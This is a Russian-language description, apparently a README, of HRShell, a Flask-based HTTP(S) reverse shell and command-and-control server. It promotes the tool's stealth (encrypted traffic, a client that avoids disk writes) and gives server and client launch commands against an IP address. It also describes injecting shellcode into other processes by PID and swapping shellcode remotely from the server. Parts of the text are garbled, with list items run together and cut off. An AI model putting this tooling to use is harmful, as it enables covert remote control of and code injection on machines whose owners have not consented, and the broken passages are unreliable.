
HRShell — это HTTPS/HTTP reverse shell, созданный на базе flask. Это продвинутый C2-сервер с множеством функций и возможностей.
HRShell — это обратная оболочка HTTPS/HTTP, построенная на Flask и совместимая с python 3.x. client.py был успешно протестирован на:
в то время как server.py совместим с Unix-системами (поддержка Windows вскоре появится...)
migrate <PID>) с указанием его PID
cd и её варианты).history доступна в Unix-системах.download/upload/screenshot/hex.|) и цепочки команд (;).gunicorn и Nginx.server.py, так и client.py легко расширяемы.*Информацию об изменениях версий см. в CHANGELOG.
HRShell скрытен, поскольку использует протокол HTTP(S) в качестве метода связи между клиентом и сервером. Кроме того, при использовании TLS трафик также шифруется. Также, если сертификат не прописан жёстко на стороне клиента (что является возможным вариантом) и не используется команда upload, то client.py вообще не обращается к диску.
На стороне сервера:
Если не указан параметр --http, по умолчанию server.py использует HTTPS с самоподписанными сертификатами, создаваемыми на лету, поскольку это встроенная возможность Flask. Но если указан параметр -s tornado, чтобы сервер использовал TLS, необходимо указать параметры --cert и --key следующим образом:
python server.py -s tornado --cert /путь/cert.pem --key /путь/key.pem
Можно использовать как "настоящие" сертификаты, так и сгенерировать пару сертификат/ключ, например, с помощью mkcert или напрямую openssl:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Пару сертификат/ключ также можно использовать с сервером Flask:
python server.py --cert /путь/cert.pem --key /путь/key.pem
⚠️ Если сервер использует TLS, то по дизайну клиент не может подключиться к серверу по
http://..., а должен явно использоватьhttps.
На стороне клиента: По умолчанию верификация SSL на клиенте отключена, за исключением случаев:
--cert, например:
python client.py -s https://192.168.10.7:5000 --cert /путь/cert.pem
CERT вместо значения None по умолчанию предварительно установлена в валидный сертификат, например:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
В этом случае client.py попытается создать скрытый файл .cert.pem на лету и будет использовать его.⚠️ То, что проверка SSL по умолчанию отключена на клиенте, не означает, что TLS также отключён; TLS будет включён, если его использует сервер, поэтому TLS полностью зависит от сервера. Параметр
--certна клиенте существует просто как альтернативный способ для сервера и клиента иметь зашифрованную сессию, и это всё.
Существует два "режима" внедрения шелл-кода с использованием следующих двух команд соответственно:
migrate <PID>: С помощью этой команды мы можем внедрить шелл-код в адресное пространство другого процесса, указав его PID. Пока эта команда может применяться только на платформах Windows x86/x64!
inject shellcode: С помощью этой команды создаётся новый поток (или порождённый процесс в Unix-системах) нашего текущего процесса, и внедрение шелл-кода происходит в его адресное пространство. В результате наш HTTP(S)-шелл не затрагивается внедрением. Платформы, на которых можно применять эту команду: Unix x86/x64, Windows x86!
Есть два способа указать/установить, какой тип шелл-кода должен выполнять клиент:
shellcode в скрипте client.py как валидный шелл-код,set shellcode <shellcode-id> для этого на лету. С помощью этой команды вы можете обновлять шелл-код на стороне клиента со стороны сервера сколько угодно раз!